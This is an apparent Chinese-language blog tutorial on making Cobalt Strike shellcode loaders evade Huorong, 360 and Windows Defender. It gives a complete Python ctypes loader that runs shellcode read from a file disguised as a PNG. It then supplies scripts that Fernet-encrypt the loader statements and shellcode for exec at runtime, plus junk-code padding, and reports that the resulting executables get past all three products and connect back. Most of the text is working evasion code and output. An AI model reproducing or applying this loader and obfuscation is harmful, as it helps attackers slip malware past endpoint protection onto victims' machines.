laotie233
1简介
一种python动态加密免杀方式,过火绒、360、windowsdefender
2正文
分离免杀比如说在CS生成了一个exe,可执行文件里面就包含了shellcode和shellcodeloader
免杀无非就是让shellcode和shellcodeloader都不会被杀毒软件检测到
而CS默认生成shellcode特征较为明显,杀软一定是要报毒,所以将shellcode分离,对其进行加密等免杀处理,防止被静态扫描到特征
下面具体举例一个python分离加载的例子
import ctypes
f=open('demo.png','rb')
shellcode=f.read()
shellcode=bytearray(shellcode)
#设置VirtualAlloc返回类型为ctypes.c_uint64
ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64
#申请内存
ptr=ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(shellcode)),ctypes.c_int(0x3000),ctypes.c_int(0x40))
#放入shellcode
buf=(ctypes.c_char *len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
ctypes.c_uint64(ptr),
buf,
ctypes.c_int(len(shellcode))
)
#创建一个线程从shellcode放置位置首地址开始执行
handle=ctypes.windll.kernel32.CreateThread(
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_uint64(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0))
)
#等待上面创建的线程运行完
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))
上面为烂大街的代码,一定过不了免杀的,今天就这里开始一步一步过掉defender
exec()执行储存在字符串或文件中的 Python 语句,相比于eval,exec可以执行更复杂的 Python 代码
cryptography.fernet提供python加密lib
>>>fromcryptography.fernet importFernet
>>>#Put this somewhere safe!
>>>key =Fernet.generate_key()
>>>f =Fernet(key)
>>>token =f.encrypt(b"Areally secret message. Not for prying eyes.")
>>>token
'...'
>>>f.decrypt(token)
'Areally secret message. Not for prying eyes.'
既然免杀杀的的一个程序,程序又是一条一条的控制指令,代码层面也就是一行一行的代码,那么到底是哪一行被ban掉,我们可以通过一行一行进行注释进行测试
以火绒为例子进行测试
经过一步一步的注释代码,最后注释完成的代码如下
importctypes
f=open('demo.png','rb')
shellcode=f.read()
shellcode=bytearray(shellcode)
#设置VirtualAlloc返回类型为ctypes.c_uint64
#ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
#申请内存
ptr=ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(shellcode)),ctypes.c_int(0x3000),ctypes.c_int(0x40))
#放入shellcode
buf=(ctypes.c_char *len(shellcode)).from_buffer(shellcode)
#ctypes.windll.kernel32.RtlMoveMemory(
# ctypes.c_uint64(ptr),
# buf,
# ctypes.c_int(len(shellcode))
#)
#创建一个线程从shellcode放置位置首地址开始执行
#handle = ctypes.windll.kernel32.CreateThread(
# ctypes.c_int(0),
# ctypes.c_int(0),
# ctypes.c_uint64(ptr),
# ctypes.c_int(0),
# ctypes.c_int(0),
# ctypes.pointer(ctypes.c_int(0))
#)
handle=0
#等待上面创建的线程运行完
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))
也就是说会被杀毒干掉的代码,整理如下
ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64
ctypes.windll.kernel32.RtlMoveMemory(
ctypes.c_uint64(ptr),
buf,
ctypes.c_int(len(shellcode))
)
handle=ctypes.windll.kernel32.CreateThread(
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_uint64(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0))
)
对三条语句进行fernet加密+ eval测试
简单写个脚本
from cryptography.fernet importFernet
#被火绒ban掉的代码
ban_code=[b'''
ctypes.windll.kernel32.VirtualAlloc.restype= ctypes.c_uint64
''',b'''
ctypes.windll.kernel32.RtlMoveMemory(
ctypes.c_uint64(ptr),
buf,
ctypes.c_int(len(shellcode))
)
''',b'''
handle= ctypes.windll.kernel32.CreateThread(
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_uint64(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0))
)
'''
]
forcode inban_code:
key =Fernet.generate_key()
f =Fernet(key)
enc_pay =f.encrypt(bytes(code))
output_key ="key= {0}".format(key)
print(output_key)
print("f_obj= Fernet(key)")
output_enc_pay ="enc_pay= {0}".format(enc_pay)
print(output_enc_pay)
print("exec(f_obj.decrypt(enc_pay))")
print("========================================")
C:\my\AntiVirus\python_fernet_AV\venv\Scripts\python.exeC:/my/AntiVirus/python_fernet_AV/pass_huorong_fernet_test.py
key=b'9O0kemh7b14TE08uoxOQahV9iaszy8BOvWCQXn1sAsM='
f_obj=Fernet(key)
enc_pay=b'gAAAAABjOalQpQQhm89YIText7z5FgH-tLhTbDMmDMt3sBl9jUR0S0QX2NBFYCsmNw01Dk7ZPCgnC6TbwgAbK9H2N7f27DHcAqdEHhhaA8_GpXD_IrCO54w2yKHjeRnvSO34XBaz0TIeOprX5nm0ss8gXIyuVylepw=='
exec(f_obj.decrypt(enc_pay))
========================================
key=b'RMiuR9vyJ_EZspzBzJ3IXKcAWGNNN1Xdxd8B-BZOPyM='
f_obj=Fernet(key)
enc_pay=b'gAAAAABjOalQCFu_z34aC8D1wugbpwfeFFVELPoSXYuz25Sbj-61Ayuu7G-m8oQ6yekbY50jUCGTmfVDyF6H4ldFgPYLCGwTiZYzusdK9tRoh3HwYYUyDEmS2CHsk9u54hQRM1aeg09TVr_xYJXshCx1sZ3Lx33cJcchhQMIRo1k8GQzIqdiJWwqlidgGK18fEuGfWhy4dj9nqS99Xxqq9beR5BxppIdjA=='
exec(f_obj.decrypt(enc_pay))
========================================
key=b'e9tKPxbu_sE0u2GDqb8Os20fmmaId39hVt52vOkWUVk='
f_obj=Fernet(key)
enc_pay=b'gAAAAABjOalQ9UmOaf1JvCMAozgbIO9YnJYh7lr1YGHHrpwc7B5LsxpBhsAE3hW7rSVtzhb2jluUPO0GnQtUk6UR_soM_RklOC968Y4SmJC2K_4P92TUZ_P7PKmix9mqVBf77biQWwnEjLkuVlBSNIwudHianyahTo3jSsqRj58gT1Az9ihZ1B34vwtYzKMHVD6y5P7hsnHa2UAhMO8KapNJWtEVH9hKkWnBUEwoj50QXP9thZQER8Y9m2X9UATVyySmbuzkVwm8EoWDHZ_-ab9qnnnBsg5MJ6EKdZmarAZMHM8-7juC8YQjTDYe8ydzYnwb9a32gGCiqqIzsEcKBIWXKDheH55LhA=='
exec(f_obj.decrypt(enc_pay))
========================================
Processfinished with exit code 0
替换后的代码为
importctypes
fromcryptography.fernet importFernet
f=open('demo.png','rb')
shellcode=f.read()
shellcode=bytearray(shellcode)
#设置VirtualAlloc返回类型为ctypes.c_uint64
key=b'9O0kemh7b14TE08uoxOQahV9iaszy8BOvWCQXn1sAsM='
f_obj=Fernet(key)
enc_pay=b'gAAAAABjOalQpQQhm89YIText7z5FgH-tLhTbDMmDMt3sBl9jUR0S0QX2NBFYCsmNw01Dk7ZPCgnC6TbwgAbK9H2N7f27DHcAqdEHhhaA8_GpXD_IrCO54w2yKHjeRnvSO34XBaz0TIeOprX5nm0ss8gXIyuVylepw=='
exec(f_obj.decrypt(enc_pay))
#申请内存
ptr=ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(shellcode)),ctypes.c_int(0x3000),ctypes.c_int(0x40))
#放入shellcode
buf=(ctypes.c_char *len(shellcode)).from_buffer(shellcode)
key=b'RMiuR9vyJ_EZspzBzJ3IXKcAWGNNN1Xdxd8B-BZOPyM='
f_obj=Fernet(key)
enc_pay=b'gAAAAABjOalQCFu_z34aC8D1wugbpwfeFFVELPoSXYuz25Sbj-61Ayuu7G-m8oQ6yekbY50jUCGTmfVDyF6H4ldFgPYLCGwTiZYzusdK9tRoh3HwYYUyDEmS2CHsk9u54hQRM1aeg09TVr_xYJXshCx1sZ3Lx33cJcchhQMIRo1k8GQzIqdiJWwqlidgGK18fEuGfWhy4dj9nqS99Xxqq9beR5BxppIdjA=='
exec(f_obj.decrypt(enc_pay))
#创建一个线程从shellcode放置位置首地址开始执行
key=b'e9tKPxbu_sE0u2GDqb8Os20fmmaId39hVt52vOkWUVk='
f_obj=Fernet(key)
enc_pay=b'gAAAAABjOalQ9UmOaf1JvCMAozgbIO9YnJYh7lr1YGHHrpwc7B5LsxpBhsAE3hW7rSVtzhb2jluUPO0GnQtUk6UR_soM_RklOC968Y4SmJC2K_4P92TUZ_P7PKmix9mqVBf77biQWwnEjLkuVlBSNIwudHianyahTo3jSsqRj58gT1Az9ihZ1B34vwtYzKMHVD6y5P7hsnHa2UAhMO8KapNJWtEVH9hKkWnBUEwoj50QXP9thZQER8Y9m2X9UATVyySmbuzkVwm8EoWDHZ_-ab9qnnnBsg5MJ6EKdZmarAZMHM8-7juC8YQjTDYe8ydzYnwb9a32gGCiqqIzsEcKBIWXKDheH55LhA=='
exec(f_obj.decrypt(enc_pay))
#等待上面创建的线程运行完
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))
生成的exe成功绕过火绒
正常上线
同理测试下360
成功上线
继续测试下windows defender
静态扫描失败
前文对部分shellloader语句进行fernet加密处理,那么不如所有shellloader语句 和 shellcode进行加密
简单写一下脚本如下
#-*- coding:utf-8 -*
from cryptography.fernet importFernet
#生成免杀代码
defender_code=[
# b'''
#import ctypes
# ''',
#
# b'''
#from ctypes import *
# ''',
#
# b'''
#from cryptography.fernet import Fernet
# ''',
b'''
f= open('demo2.png', 'rb')
''',
b'''
shellcode= f.read()
''',
b'''
need_decrypt_shellcode
''',
b'''
shellcode= bytearray(shellcode)
''',
b'''
ctypes.windll.kernel32.VirtualAlloc.restype= ctypes.c_uint64
''',
b'''
ptr= ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000),
ctypes.c_int(0x40))
''',
b'''
buf= (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
''',
b'''
ctypes.windll.kernel32.RtlMoveMemory(
ctypes.c_uint64(ptr),
buf,
ctypes.c_int(len(shellcode))
)
''',
b'''
handle= ctypes.windll.kernel32.CreateThread(
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_uint64(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0))
)
''',
b'''
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))
''',
]
withopen('./test_middle_static.py','w+')asmid_f:
#写入import
mid_f.write("#-*- coding:utf-8 -*")
mid_f.write('\n')
mid_f.write("importctypes")
mid_f.write('\n')
mid_f.write("fromctypes import *")
mid_f.write('\n')
mid_f.write("fromcryptography.fernet import Fernet")
mid_f.write('\n')
forcode indefender_code:
mid_f.write("#{0}".format(code))
mid_f.write('\n')
ifcode ==b'''
need_decrypt_shellcode
''':
#shellcode 加密你也可以分离免杀
test_f =open('demo.png','rb')
shellcode =test_f.read()
shellcode =bytearray(shellcode)
#print(shellcode)
test_f.close()
#加密
key =Fernet.generate_key()
f =Fernet(key)
enc_pay =f.encrypt(bytes(shellcode))
print(key)
print("=========")
#写入shell2.png
test_f =open("./demo2.png","w+")
test_f.write(enc_pay.decode())
test_f.close()
output_key ="key= {0}".format(key)
mid_f.write(output_key)
mid_f.write('\n')
mid_f.write("f_obj= Fernet(key)")
mid_f.write('\n')
mid_f.write("shellcode= f_obj.decrypt(shellcode)")
mid_f.write('\n')
mid_f.write("shellcode= bytearray(shellcode)")
mid_f.write('\n')
continue
key =Fernet.generate_key()
f =Fernet(key)
enc_pay =f.encrypt(bytes(code))
output_key ="key= {0}".format(key)
mid_f.write(output_key)
mid_f.write('\n')
print(output_key)
print("f_obj= Fernet(key)")
mid_f.write("f_obj= Fernet(key)")
mid_f.write('\n')
output_enc_pay ="enc_pay= {0}".format(enc_pay)
print(output_enc_pay)
mid_f.write(output_enc_pay)
mid_f.write('\n')
print("exec(f_obj.decrypt(enc_pay))")
mid_f.write("exec(f_obj.decrypt(enc_pay))")
mid_f.write('\n')
print("========================================")
#pyinstaller -F test_middle_static.py
ok, 再次生成相应可执行文件,windows defender静态扫描通过
尝试动态运行
简单总结下,当下的进展
火绒过
360过
windows defender 静态过,动态GG
动态杀毒的基本原理这里就简单说一下,无非就是程序动态运行时进行监控(程序行为、cpu占用、内存占用等等),其实继续深入绕过defender的思路还会有很多,这里就拿一个花指令举例
花指令,简单来说就是加垃圾代码(排序、编码、深度学习识别等等)
下面是花指令的一些简单代码
#写入花指令
junk_code1 ="""
importrandom
def partition(test_arr, low, high):
i = (low - 1)
pivot = test_arr[high]
for j in range(low, high):
if test_arr[j] <= pivot:
i = i + 1
test_arr[i], test_arr[j] = test_arr[j], test_arr[i]
test_arr[i + 1], test_arr[high] = test_arr[high], test_arr[i + 1]
return i + 1
def quick_sort(test_arr, low, high):
if low < high:
pi = partition(test_arr, low, high)
quick_sort(test_arr, low, pi - 1)
quick_sort(test_arr, pi + 1, high)
test_arr= []
for i in range(59999):
test_arr.append(random.random())
n= len(test_arr)
quick_sort(test_arr,0, n - 1)
"""
junk_code2 ="""
import re
re.search('www','www.runoob.com').span()
re.search('com','www.runoob.com').span()
line= "Cats are smarter than dogs ok in shakdhaksdas";
searchObj= re.search(r'(.*) are (.*?) .*', line, re.M | re.I)
def double(matched):
value = int(matched.group('value'))
return str(value * 2)
s= 'A23G4HFD567'
re.sub('(?P<value>\d+)',double, s)
"""
junk_code3 ="""
import base64
st= 'wo gan jue wo ma shang jiu yao bei defender gan diao a ba a bachonogchong chongcong!'.encode()
res= base64.b64encode(st)
aaa= res.decode()
res= base64.b64decode(res)
bbb= res.decode()
"""
ok 通过花指令的随机加入,成功将defender绕过
3写在最后
免杀学习过程中本身学习的就是一个思路,随着免杀的公开->杀毒的提升,免杀的难度也会随之提升
切记,免杀学的是思路,不是具体的方法,本文的最后一节也只是提供了一个思路。
4关注公众号
公众号长期更新安全类文章,关注公众号,以便下次轻松查阅
觉得文章对你有帮助 请转发 点赞 收藏